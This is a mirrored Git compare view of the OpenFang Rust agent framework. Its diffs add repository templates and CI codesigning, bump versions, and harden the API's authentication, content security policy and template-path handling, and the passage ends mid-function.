mirror of
https://github.com/RightNow-AI/openfang.git
synced 2026-08-14 08:52:02 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
eba9198827 | ||
|
|
f2413949bc | ||
|
|
9e230f423e | ||
|
|
8138b7e0e8 | ||
|
|
cfae867908 | ||
|
|
6857e3cf06 | ||
|
|
772cbdbe38 | ||
|
|
b2e2b1a038 | ||
|
|
d237ecf161 | ||
|
|
4a3d570155 | ||
|
|
ebcdc17c13 | ||
|
|
45e06b9bad | ||
|
|
c6b46ccbe1 | ||
|
|
9fc0fe71bf | ||
|
|
06df0795c8 | ||
|
|
eafeb6a012 |
@@ -0,0 +1,62 @@
|
||||
name: Bug Report
|
||||
description: Report a bug or unexpected behavior
|
||||
labels: ["bug"]
|
||||
body:
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Description
|
||||
description: What happened?
|
||||
placeholder: Describe the bug clearly and concisely.
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: expected
|
||||
attributes:
|
||||
label: Expected Behavior
|
||||
description: What did you expect to happen?
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: steps
|
||||
attributes:
|
||||
label: Steps to Reproduce
|
||||
description: How can we reproduce this?
|
||||
placeholder: |
|
||||
1. Run `openfang start`
|
||||
2. Open dashboard at http://localhost:4200
|
||||
3. Click ...
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: input
|
||||
id: version
|
||||
attributes:
|
||||
label: OpenFang Version
|
||||
description: Output of `openfang -V`
|
||||
placeholder: "0.3.23"
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: dropdown
|
||||
id: os
|
||||
attributes:
|
||||
label: Operating System
|
||||
options:
|
||||
- Linux (x86_64)
|
||||
- Linux (aarch64/ARM64)
|
||||
- macOS (Apple Silicon)
|
||||
- macOS (Intel)
|
||||
- Windows
|
||||
- Android (Termux)
|
||||
- Other
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: logs
|
||||
attributes:
|
||||
label: Logs / Screenshots
|
||||
description: Paste relevant logs or attach screenshots.
|
||||
@@ -0,0 +1,24 @@
|
||||
name: Feature Request
|
||||
description: Suggest a new feature or improvement
|
||||
labels: ["enhancement"]
|
||||
body:
|
||||
- type: textarea
|
||||
id: description
|
||||
attributes:
|
||||
label: Description
|
||||
description: What feature would you like?
|
||||
placeholder: Describe the feature and why it would be useful.
|
||||
validations:
|
||||
required: true
|
||||
|
||||
- type: textarea
|
||||
id: alternatives
|
||||
attributes:
|
||||
label: Alternatives Considered
|
||||
description: Have you tried any workarounds?
|
||||
|
||||
- type: textarea
|
||||
id: context
|
||||
attributes:
|
||||
label: Additional Context
|
||||
description: Any other context, screenshots, or references.
|
||||
@@ -0,0 +1,17 @@
|
||||
version: 2
|
||||
updates:
|
||||
- package-ecosystem: "cargo"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
open-pull-requests-limit: 5
|
||||
labels:
|
||||
- "dependencies"
|
||||
|
||||
- package-ecosystem: "github-actions"
|
||||
directory: "/"
|
||||
schedule:
|
||||
interval: "weekly"
|
||||
open-pull-requests-limit: 3
|
||||
labels:
|
||||
- "ci"
|
||||
@@ -0,0 +1,19 @@
|
||||
## Summary
|
||||
|
||||
<!-- What does this PR do? Link related issues with "Fixes #123". -->
|
||||
|
||||
## Changes
|
||||
|
||||
<!-- Brief list of what changed. -->
|
||||
|
||||
## Testing
|
||||
|
||||
- [ ] `cargo clippy --workspace --all-targets -- -D warnings` passes
|
||||
- [ ] `cargo test --workspace` passes
|
||||
- [ ] Live integration tested (if applicable)
|
||||
|
||||
## Security
|
||||
|
||||
- [ ] No new unsafe code
|
||||
- [ ] No secrets or API keys in diff
|
||||
- [ ] User input validated at boundaries
|
||||
@@ -181,6 +181,11 @@ jobs:
|
||||
- name: Build CLI
|
||||
if: matrix.target != 'aarch64-unknown-linux-gnu'
|
||||
run: cargo build --release --target ${{ matrix.target }} --bin openfang
|
||||
- name: Ad-hoc codesign CLI binary (macOS)
|
||||
if: runner.os == 'macOS'
|
||||
run: |
|
||||
xattr -cr target/${{ matrix.target }}/release/openfang || true
|
||||
codesign --force --sign - target/${{ matrix.target }}/release/openfang
|
||||
- name: Package (Unix)
|
||||
if: matrix.archive == 'tar.gz'
|
||||
run: |
|
||||
|
||||
Generated
+33
-14
@@ -2506,6 +2506,15 @@ dependencies = [
|
||||
"windows-link 0.2.1",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "html-escape"
|
||||
version = "0.2.13"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "6d1ad449764d627e22bfd7cd5e8868264fc9236e07c752972b4080cd351cb476"
|
||||
dependencies = [
|
||||
"utf8-width",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "html5ever"
|
||||
version = "0.29.1"
|
||||
@@ -3866,7 +3875,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-api"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"axum",
|
||||
@@ -3903,7 +3912,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-channels"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"axum",
|
||||
@@ -3913,6 +3922,7 @@ dependencies = [
|
||||
"futures",
|
||||
"hex",
|
||||
"hmac",
|
||||
"html-escape",
|
||||
"imap",
|
||||
"lettre",
|
||||
"mailparse",
|
||||
@@ -3934,7 +3944,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-cli"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"clap",
|
||||
"clap_complete",
|
||||
@@ -3961,7 +3971,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-desktop"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"axum",
|
||||
"open",
|
||||
@@ -3987,7 +3997,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-extensions"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"aes-gcm",
|
||||
"argon2",
|
||||
@@ -4015,7 +4025,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-hands"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"dashmap",
|
||||
@@ -4032,7 +4042,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-kernel"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"chrono",
|
||||
@@ -4068,7 +4078,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-memory"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"chrono",
|
||||
@@ -4087,7 +4097,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-migrate"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"dirs 6.0.0",
|
||||
@@ -4106,7 +4116,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-runtime"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"anyhow",
|
||||
"async-trait",
|
||||
@@ -4121,9 +4131,11 @@ dependencies = [
|
||||
"openfang-types",
|
||||
"regex-lite",
|
||||
"reqwest 0.12.28",
|
||||
"rusqlite",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"sha2",
|
||||
"shlex",
|
||||
"tempfile",
|
||||
"thiserror 2.0.18",
|
||||
"tokio",
|
||||
@@ -4138,7 +4150,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-skills"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"chrono",
|
||||
"hex",
|
||||
@@ -4161,7 +4173,7 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-types"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"chrono",
|
||||
@@ -4180,10 +4192,11 @@ dependencies = [
|
||||
|
||||
[[package]]
|
||||
name = "openfang-wire"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
dependencies = [
|
||||
"async-trait",
|
||||
"chrono",
|
||||
"dashmap",
|
||||
"hex",
|
||||
"hmac",
|
||||
"openfang-types",
|
||||
@@ -7377,6 +7390,12 @@ version = "0.7.6"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9"
|
||||
|
||||
[[package]]
|
||||
name = "utf8-width"
|
||||
version = "0.1.8"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "1292c0d970b54115d14f2492fe0170adf21d68a1de108eebc51c1df4f346a091"
|
||||
|
||||
[[package]]
|
||||
name = "utf8_iter"
|
||||
version = "1.0.4"
|
||||
@@ -8802,7 +8821,7 @@ checksum = "b9cc00251562a284751c9973bace760d86c0276c471b4be569fe6b068ee97a56"
|
||||
|
||||
[[package]]
|
||||
name = "xtask"
|
||||
version = "0.3.18"
|
||||
version = "0.3.30"
|
||||
|
||||
[[package]]
|
||||
name = "yoke"
|
||||
|
||||
+4
-1
@@ -18,7 +18,7 @@ members = [
|
||||
]
|
||||
|
||||
[workspace.package]
|
||||
version = "0.3.19"
|
||||
version = "0.3.31"
|
||||
edition = "2021"
|
||||
license = "Apache-2.0 OR MIT"
|
||||
repository = "https://github.com/RightNow-AI/openfang"
|
||||
@@ -119,6 +119,9 @@ colored = "3"
|
||||
aes-gcm = "0.10"
|
||||
argon2 = "0.5"
|
||||
|
||||
# HTML entity decoding
|
||||
html-escape = "0.2"
|
||||
|
||||
# Lightweight regex
|
||||
regex-lite = "0.1"
|
||||
|
||||
|
||||
@@ -19,7 +19,7 @@
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/badge/language-Rust-orange?style=flat-square" alt="Rust" />
|
||||
<img src="https://img.shields.io/badge/license-MIT-blue?style=flat-square" alt="MIT" />
|
||||
<img src="https://img.shields.io/badge/version-0.1.0-green?style=flat-square" alt="v0.1.0" />
|
||||
<img src="https://img.shields.io/badge/version-0.3.30-green?style=flat-square" alt="v0.3.30" />
|
||||
<img src="https://img.shields.io/badge/tests-1,767%2B%20passing-brightgreen?style=flat-square" alt="Tests" />
|
||||
<img src="https://img.shields.io/badge/clippy-0%20warnings-brightgreen?style=flat-square" alt="Clippy" />
|
||||
<a href="https://www.buymeacoffee.com/openfang" target="_blank"><img src="https://img.shields.io/badge/Buy%20Me%20a%20Coffee-FFDD00?style=flat-square&logo=buy-me-a-coffee&logoColor=black" alt="Buy Me A Coffee" /></a>
|
||||
@@ -27,9 +27,9 @@
|
||||
|
||||
---
|
||||
|
||||
> **v0.1.0 — First Release (February 2026)**
|
||||
> **v0.3.30 — Security Hardening Release (March 2026)**
|
||||
>
|
||||
> OpenFang is feature-complete but this is the first public release. You may encounter instability, rough edges, or breaking changes between minor versions. We ship fast and fix fast. Pin to a specific commit for production use until v1.0. [Report issues here.](https://github.com/RightNow-AI/openfang/issues)
|
||||
> OpenFang is feature-complete but still pre-1.0. You may encounter rough edges or breaking changes between minor versions. We ship fast and fix fast. Pin to a specific commit for production use until v1.0. [Report issues here.](https://github.com/RightNow-AI/openfang/issues)
|
||||
|
||||
---
|
||||
|
||||
@@ -371,7 +371,7 @@ cargo fmt --all -- --check
|
||||
|
||||
## Stability Notice
|
||||
|
||||
OpenFang v0.1.0 is the first public release. The architecture is solid, the test suite is comprehensive, and the security model is comprehensive. That said:
|
||||
OpenFang v0.3.30 is pre-1.0. The architecture is solid, the test suite is comprehensive, and the security model is comprehensive. That said:
|
||||
|
||||
- **Breaking changes** may occur between minor versions until v1.0
|
||||
- **Some Hands** are more mature than others (Browser and Researcher are the most battle-tested)
|
||||
@@ -382,6 +382,12 @@ We ship fast and fix fast. The goal is a rock-solid v1.0 by mid-2026.
|
||||
|
||||
---
|
||||
|
||||
## Security
|
||||
|
||||
To report a security vulnerability, email **jaber@rightnowai.co**. We take all reports seriously and will respond within 48 hours.
|
||||
|
||||
---
|
||||
|
||||
## License
|
||||
|
||||
MIT — use it however you want.
|
||||
|
||||
+2
-2
@@ -4,7 +4,7 @@
|
||||
|
||||
| Version | Supported |
|
||||
|---------|--------------------|
|
||||
| 0.1.x | :white_check_mark: |
|
||||
| 0.3.x | :white_check_mark: |
|
||||
|
||||
## Reporting a Vulnerability
|
||||
|
||||
@@ -14,7 +14,7 @@ If you discover a security vulnerability in OpenFang, please report it responsib
|
||||
|
||||
### How to Report
|
||||
|
||||
1. Email: **security@openfang.ai**
|
||||
1. Email: **jaber@rightnowai.co**
|
||||
2. Include:
|
||||
- Description of the vulnerability
|
||||
- Steps to reproduce
|
||||
|
||||
@@ -34,9 +34,9 @@ tokio-stream = { workspace = true }
|
||||
subtle = { workspace = true }
|
||||
base64 = { workspace = true }
|
||||
socket2 = { workspace = true }
|
||||
reqwest = { workspace = true }
|
||||
|
||||
[dev-dependencies]
|
||||
tokio-test = { workspace = true }
|
||||
reqwest = { workspace = true }
|
||||
tempfile = { workspace = true }
|
||||
uuid = { workspace = true }
|
||||
|
||||
@@ -1042,6 +1042,7 @@ pub async fn start_channel_bridge_with_config(
|
||||
token,
|
||||
dc_config.allowed_guilds.clone(),
|
||||
dc_config.allowed_users.clone(),
|
||||
dc_config.ignore_bots,
|
||||
dc_config.intents,
|
||||
));
|
||||
adapters.push((adapter, dc_config.default_agent.clone()));
|
||||
@@ -1621,6 +1622,35 @@ pub async fn reload_channels_from_disk(
|
||||
*guard = None;
|
||||
}
|
||||
|
||||
// Re-read secrets.env so new API tokens are available in std::env
|
||||
let secrets_path = state.kernel.config.home_dir.join("secrets.env");
|
||||
if secrets_path.exists() {
|
||||
if let Ok(content) = std::fs::read_to_string(&secrets_path) {
|
||||
for line in content.lines() {
|
||||
let trimmed = line.trim();
|
||||
if trimmed.is_empty() || trimmed.starts_with('#') {
|
||||
continue;
|
||||
}
|
||||
if let Some(eq_pos) = trimmed.find('=') {
|
||||
let key = trimmed[..eq_pos].trim();
|
||||
let mut value = trimmed[eq_pos + 1..].trim().to_string();
|
||||
if !key.is_empty() {
|
||||
// Strip matching quotes
|
||||
if ((value.starts_with('"') && value.ends_with('"'))
|
||||
|| (value.starts_with('\'') && value.ends_with('\'')))
|
||||
&& value.len() >= 2
|
||||
{
|
||||
value = value[1..value.len() - 1].to_string();
|
||||
}
|
||||
// Always overwrite — the file is the source of truth after dashboard edits
|
||||
std::env::set_var(key, &value);
|
||||
}
|
||||
}
|
||||
}
|
||||
info!("Reloaded secrets.env for channel hot-reload");
|
||||
}
|
||||
}
|
||||
|
||||
// Re-read config from disk
|
||||
let config_path = state.kernel.config.home_dir.join("config.toml");
|
||||
let fresh_config = openfang_kernel::config::load_config(Some(&config_path));
|
||||
|
||||
@@ -45,17 +45,16 @@ pub async fn request_logging(request: Request<Body>, next: Next) -> Response<Bod
|
||||
|
||||
/// Bearer token authentication middleware.
|
||||
///
|
||||
/// When `api_key` is non-empty, all requests must include
|
||||
/// `Authorization: Bearer <api_key>`. If the key is empty, auth is bypassed.
|
||||
/// When `api_key` is non-empty, requests to non-public endpoints must include
|
||||
/// `Authorization: Bearer <api_key>`. If the key is empty, only whitelisted
|
||||
/// public endpoints are accessible — all others return 401.
|
||||
pub async fn auth(
|
||||
axum::extract::State(api_key): axum::extract::State<String>,
|
||||
request: Request<Body>,
|
||||
next: Next,
|
||||
) -> Response<Body> {
|
||||
// If no API key configured, skip authentication entirely (open access).
|
||||
if api_key.is_empty() {
|
||||
return next.run(request).await;
|
||||
}
|
||||
// SECURITY: Capture method early for method-aware public endpoint checks.
|
||||
let method = request.method().clone();
|
||||
|
||||
// Shutdown is loopback-only (CLI on same machine) — skip token auth
|
||||
let path = request.uri().path();
|
||||
@@ -64,55 +63,75 @@ pub async fn auth(
|
||||
.extensions()
|
||||
.get::<axum::extract::ConnectInfo<std::net::SocketAddr>>()
|
||||
.map(|ci| ci.0.ip().is_loopback())
|
||||
.unwrap_or(true); // default true for unix sockets / tests
|
||||
.unwrap_or(false); // SECURITY: default-deny — unknown origin is NOT loopback
|
||||
if is_loopback {
|
||||
return next.run(request).await;
|
||||
}
|
||||
}
|
||||
|
||||
// Public endpoints that don't require auth (dashboard needs these)
|
||||
if path == "/"
|
||||
// Public endpoints that don't require auth (dashboard needs these).
|
||||
// SECURITY: /api/agents is GET-only (listing). POST (spawn) requires auth.
|
||||
// SECURITY: Public endpoints are GET-only unless explicitly noted.
|
||||
// POST/PUT/DELETE to any endpoint ALWAYS requires auth to prevent
|
||||
// unauthenticated writes (cron job creation, skill install, etc.).
|
||||
let is_get = method == axum::http::Method::GET;
|
||||
let is_public = path == "/"
|
||||
|| path == "/logo.png"
|
||||
|| path == "/favicon.ico"
|
||||
|| path == "/.well-known/agent.json"
|
||||
|| path.starts_with("/a2a/")
|
||||
|| (path == "/.well-known/agent.json" && is_get)
|
||||
|| (path.starts_with("/a2a/") && is_get)
|
||||
|| path == "/api/health"
|
||||
|| path == "/api/health/detail"
|
||||
|| path == "/api/status"
|
||||
|| path == "/api/version"
|
||||
|| path == "/api/agents"
|
||||
|| path == "/api/profiles"
|
||||
|| path == "/api/config"
|
||||
|| path.starts_with("/api/uploads/")
|
||||
|| (path == "/api/agents" && is_get)
|
||||
|| (path == "/api/profiles" && is_get)
|
||||
|| (path == "/api/config" && is_get)
|
||||
|| (path == "/api/config/schema" && is_get)
|
||||
|| (path.starts_with("/api/uploads/") && is_get)
|
||||
// Dashboard read endpoints — allow unauthenticated so the SPA can
|
||||
// render before the user enters their API key.
|
||||
|| path == "/api/models"
|
||||
|| path == "/api/models/aliases"
|
||||
|| path == "/api/providers"
|
||||
|| path == "/api/budget"
|
||||
|| path == "/api/budget/agents"
|
||||
|| path.starts_with("/api/budget/agents/")
|
||||
|| path == "/api/network/status"
|
||||
|| path == "/api/a2a/agents"
|
||||
|| path == "/api/approvals"
|
||||
|| path.starts_with("/api/approvals/")
|
||||
|| path == "/api/channels"
|
||||
|| path == "/api/hands"
|
||||
|| path == "/api/hands/active"
|
||||
|| path.starts_with("/api/hands/")
|
||||
|| path == "/api/skills"
|
||||
|| path == "/api/sessions"
|
||||
|| path == "/api/integrations"
|
||||
|| path == "/api/integrations/available"
|
||||
|| path == "/api/integrations/health"
|
||||
|| path == "/api/workflows"
|
||||
|| path == "/api/logs/stream"
|
||||
|| path.starts_with("/api/cron/")
|
||||
|| path.starts_with("/api/providers/github-copilot/oauth/")
|
||||
{
|
||||
|| (path == "/api/models" && is_get)
|
||||
|| (path == "/api/models/aliases" && is_get)
|
||||
|| (path == "/api/providers" && is_get)
|
||||
|| (path == "/api/budget" && is_get)
|
||||
|| (path == "/api/budget/agents" && is_get)
|
||||
|| (path.starts_with("/api/budget/agents/") && is_get)
|
||||
|| (path == "/api/network/status" && is_get)
|
||||
|| (path == "/api/a2a/agents" && is_get)
|
||||
|| (path == "/api/approvals" && is_get)
|
||||
|| (path.starts_with("/api/approvals/") && is_get)
|
||||
|| (path == "/api/channels" && is_get)
|
||||
|| (path == "/api/hands" && is_get)
|
||||
|| (path == "/api/hands/active" && is_get)
|
||||
|| (path.starts_with("/api/hands/") && is_get)
|
||||
|| (path == "/api/skills" && is_get)
|
||||
|| (path == "/api/sessions" && is_get)
|
||||
|| (path == "/api/integrations" && is_get)
|
||||
|| (path == "/api/integrations/available" && is_get)
|
||||
|| (path == "/api/integrations/health" && is_get)
|
||||
|| (path == "/api/workflows" && is_get)
|
||||
|| path == "/api/logs/stream" // SSE stream, read-only
|
||||
|| (path.starts_with("/api/cron/") && is_get)
|
||||
|| path.starts_with("/api/providers/github-copilot/oauth/");
|
||||
|
||||
if is_public {
|
||||
return next.run(request).await;
|
||||
}
|
||||
|
||||
// SECURITY: If no API key configured, non-public endpoints still require auth.
|
||||
// Fall through to the token check which will fail (no valid token matches empty key),
|
||||
// returning 401 for any non-whitelisted route.
|
||||
if api_key.is_empty() {
|
||||
return Response::builder()
|
||||
.status(StatusCode::UNAUTHORIZED)
|
||||
.header("www-authenticate", "Bearer")
|
||||
.body(Body::from(
|
||||
serde_json::json!({"error": "No API key configured. Set api_key in config.toml or pass --api-key on startup."}).to_string(),
|
||||
))
|
||||
.unwrap_or_default();
|
||||
}
|
||||
|
||||
// Check Authorization: Bearer <token> header, then fallback to X-API-Key
|
||||
let bearer_token = request
|
||||
.headers()
|
||||
@@ -184,7 +203,7 @@ pub async fn security_headers(request: Request<Body>, next: Next) -> Response<Bo
|
||||
// All JS/CSS is bundled inline — only external resource is Google Fonts.
|
||||
headers.insert(
|
||||
"content-security-policy",
|
||||
"default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://fonts.gstatic.com; img-src 'self' data: blob:; connect-src 'self' ws://localhost:* ws://127.0.0.1:* wss://localhost:* wss://127.0.0.1:*; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; frame-src 'self' blob:; object-src 'none'; base-uri 'self'; form-action 'self'"
|
||||
"default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline' https://fonts.googleapis.com https://fonts.gstatic.com; img-src 'self' data: blob:; connect-src 'self' ws://localhost:* ws://127.0.0.1:* wss://localhost:* wss://127.0.0.1:*; font-src 'self' https://fonts.gstatic.com; media-src 'self' blob:; frame-src 'self' blob:; object-src 'none'; base-uri 'self'; form-action 'self'"
|
||||
.parse()
|
||||
.unwrap(),
|
||||
);
|
||||
@@ -196,6 +215,10 @@ pub async fn security_headers(request: Request<Body>, next: Next) -> Response<Bo
|
||||
"cache-control",
|
||||
"no-store, no-cache, must-revalidate".parse().unwrap(),
|
||||
);
|
||||
headers.insert(
|
||||
"strict-transport-security",
|
||||
"max-age=63072000; includeSubDomains".parse().unwrap(),
|
||||
);
|
||||
response
|
||||
}
|
||||
|
||||
|
||||
@@ -335,7 +335,7 @@ pub async fn chat_completions(
|
||||
index: 0,
|
||||
message: ChoiceMessage {
|
||||
role: "assistant",
|
||||
content: Some(result.response),
|
||||
content: Some(crate::ws::strip_think_tags(&result.response)),
|
||||
tool_calls: None,
|
||||
},
|
||||
finish_reason: "stop",
|
||||
|
||||
+431
-117
@@ -43,9 +43,49 @@ pub async fn spawn_agent(
|
||||
State(state): State<Arc<AppState>>,
|
||||
Json(req): Json<SpawnRequest>,
|
||||
) -> impl IntoResponse {
|
||||
// Resolve template name → manifest_toml if template is provided and manifest_toml is empty
|
||||
let manifest_toml = if req.manifest_toml.trim().is_empty() {
|
||||
if let Some(ref tmpl_name) = req.template {
|
||||
// Sanitize template name to prevent path traversal
|
||||
let safe_name = tmpl_name
|
||||
.chars()
|
||||
.filter(|c| c.is_alphanumeric() || *c == '-' || *c == '_')
|
||||
.collect::<String>();
|
||||
if safe_name.is_empty() || safe_name != *tmpl_name {
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": "Invalid template name"})),
|
||||
);
|
||||
}
|
||||
let tmpl_path = state
|
||||
.kernel
|
||||
.config
|
||||
.home_dir
|
||||
.join("agents")
|
||||
.join(&safe_name)
|
||||
.join("agent.toml");
|
||||
match std::fs::read_to_string(&tmpl_path) {
|
||||
Ok(content) => content,
|
||||
Err(_) => {
|
||||
return (
|
||||
StatusCode::NOT_FOUND,
|
||||
Json(serde_json::json!({"error": format!("Template '{}' not found", safe_name)})),
|
||||
);
|
||||
}
|
||||
}
|
||||
} else {
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
Json(serde_json::json!({"error": "Either 'manifest_toml' or 'template' is required"})),
|
||||
);
|
||||
}
|
||||
} else {
|
||||
req.manifest_toml.clone()
|
||||
};
|
||||
|
||||
// SECURITY: Reject oversized manifests to prevent parser memory exhaustion.
|
||||
const MAX_MANIFEST_SIZE: usize = 1024 * 1024; // 1MB
|
||||
if req.manifest_toml.len() > MAX_MANIFEST_SIZE {
|
||||
if manifest_toml.len() > MAX_MANIFEST_SIZE {
|
||||
return (
|
||||
StatusCode::PAYLOAD_TOO_LARGE,
|
||||
Json(serde_json::json!({"error": "Manifest too large (max 1MB)"})),
|
||||
@@ -57,7 +97,7 @@ pub async fn spawn_agent(
|
||||
match state.kernel.verify_signed_manifest(signed_json) {
|
||||
Ok(verified_toml) => {
|
||||
// Ensure the signed manifest matches the provided manifest_toml
|
||||
if verified_toml.trim() != req.manifest_toml.trim() {
|
||||
if verified_toml.trim() != manifest_toml.trim() {
|
||||
tracing::warn!("Signed manifest content does not match manifest_toml");
|
||||
return (
|
||||
StatusCode::BAD_REQUEST,
|
||||
@@ -83,7 +123,7 @@ pub async fn spawn_agent(
|
||||
}
|
||||
}
|
||||
|
||||
let manifest: AgentManifest = match toml::from_str(&req.manifest_toml) {
|
||||
let manifest: AgentManifest = match toml::from_str(&manifest_toml) {
|
||||
Ok(m) => m,
|
||||
Err(e) => {
|
||||
tracing::warn!("Invalid manifest TOML: {e}");
|
||||
@@ -321,8 +361,11 @@ pub async fn send_message(
|
||||
.await
|
||||
{
|
||||
Ok(result) => {
|
||||
// Strip <think>...</think> blocks from model output
|
||||
let cleaned = crate::ws::strip_think_tags(&result.response);
|
||||
|
||||
// Guard: ensure we never return an empty response to the client
|
||||
let response = if result.response.trim().is_empty() {
|
||||
let response = if cleaned.trim().is_empty() {
|
||||
format!(
|
||||
"[The agent completed processing but returned no text response. ({} in / {} out | {} iter)]",
|
||||
result.total_usage.input_tokens,
|
||||
@@ -330,7 +373,7 @@ pub async fn send_message(
|
||||
result.iterations,
|
||||
)
|
||||
} else {
|
||||
result.response
|
||||
cleaned
|
||||
};
|
||||
(
|
||||
StatusCode::OK,
|
||||
@@ -387,68 +430,142 @@ pub async fn get_agent_session(
|
||||
|
||||
match state.kernel.memory.get_session(entry.session_id) {
|
||||
Ok(Some(session)) => {
|
||||
let messages: Vec<serde_json::Value> = session
|
||||
.messages
|
||||
.iter()
|
||||
.filter_map(|m| {
|
||||
let mut tools: Vec<serde_json::Value> = Vec::new();
|
||||
let content = match &m.content {
|
||||
openfang_types::message::MessageContent::Text(t) => t.clone(),
|
||||
openfang_types::message::MessageContent::Blocks(blocks) => {
|
||||
// Extract human-readable text and tool info from blocks
|
||||
let mut texts = Vec::new();
|
||||
for b in blocks {
|
||||
match b {
|
||||
openfang_types::message::ContentBlock::Text { text } => {
|
||||
texts.push(text.clone());
|
||||
}
|
||||
openfang_types::message::ContentBlock::Image { .. } => {
|
||||
texts.push("[Image]".to_string());
|
||||
}
|
||||
openfang_types::message::ContentBlock::ToolUse {
|
||||
name, ..
|
||||
} => {
|
||||
tools.push(serde_json::json!({
|
||||
"name": name,
|
||||
"running": false,
|
||||
"expanded": false,
|
||||
// Two-pass approach: ToolUse blocks live in Assistant messages while
|
||||
// ToolResult blocks arrive in subsequent User messages. Pass 1
|
||||
// collects all tool_use entries keyed by id; pass 2 attaches results.
|
||||
|
||||
// Pass 1: build messages and a lookup from tool_use_id → (msg_idx, tool_idx)
|
||||
use base64::Engine as _;
|
||||
let mut built_messages: Vec<serde_json::Value> = Vec::new();
|
||||
let mut tool_use_index: std::collections::HashMap<String, (usize, usize)> =
|
||||
std::collections::HashMap::new();
|
||||
|
||||
for m in &session.messages {
|
||||
let mut tools: Vec<serde_json::Value> = Vec::new();
|
||||
let mut msg_images: Vec<serde_json::Value> = Vec::new();
|
||||
let content = match &m.content {
|
||||
openfang_types::message::MessageContent::Text(t) => t.clone(),
|
||||
openfang_types::message::MessageContent::Blocks(blocks) => {
|
||||
let mut texts = Vec::new();
|
||||
for b in blocks {
|
||||
match b {
|
||||
openfang_types::message::ContentBlock::Text { text } => {
|
||||
texts.push(text.clone());
|
||||
}
|
||||
openfang_types::message::ContentBlock::Image {
|
||||
media_type,
|
||||
data,
|
||||
} => {
|
||||
texts.push("[Image]".to_string());
|
||||
// Persist image to upload dir so it can be
|
||||
// served back when loading session history.
|
||||
let file_id = uuid::Uuid::new_v4().to_string();
|
||||
let upload_dir =
|
||||
std::env::temp_dir().join("openfang_uploads");
|
||||
let _ = std::fs::create_dir_all(&upload_dir);
|
||||
if let Ok(bytes) =
|
||||
base64::engine::general_purpose::STANDARD.decode(data)
|
||||
{
|
||||
let _ = std::fs::write(
|
||||
upload_dir.join(&file_id),
|
||||
&bytes,
|
||||
);
|
||||
UPLOAD_REGISTRY.insert(
|
||||
file_id.clone(),
|
||||
UploadMeta {
|
||||
filename: format!("image.{}", media_type.rsplit('/').next().unwrap_or("png")),
|
||||
content_type: media_type.clone(),
|
||||
},
|
||||
);
|
||||
msg_images.push(serde_json::json!({
|
||||
"file_id": file_id,
|
||||
"filename": format!("image.{}", media_type.rsplit('/').next().unwrap_or("png")),
|
||||
}));
|
||||
}
|
||||
openfang_types::message::ContentBlock::ToolResult {
|
||||
content: result,
|
||||
is_error,
|
||||
..
|
||||
} => {
|
||||
// Attach result to the most recent tool without a result
|
||||
if let Some(last_tool) = tools.last_mut() {
|
||||
}
|
||||
openfang_types::message::ContentBlock::ToolUse {
|
||||
id,
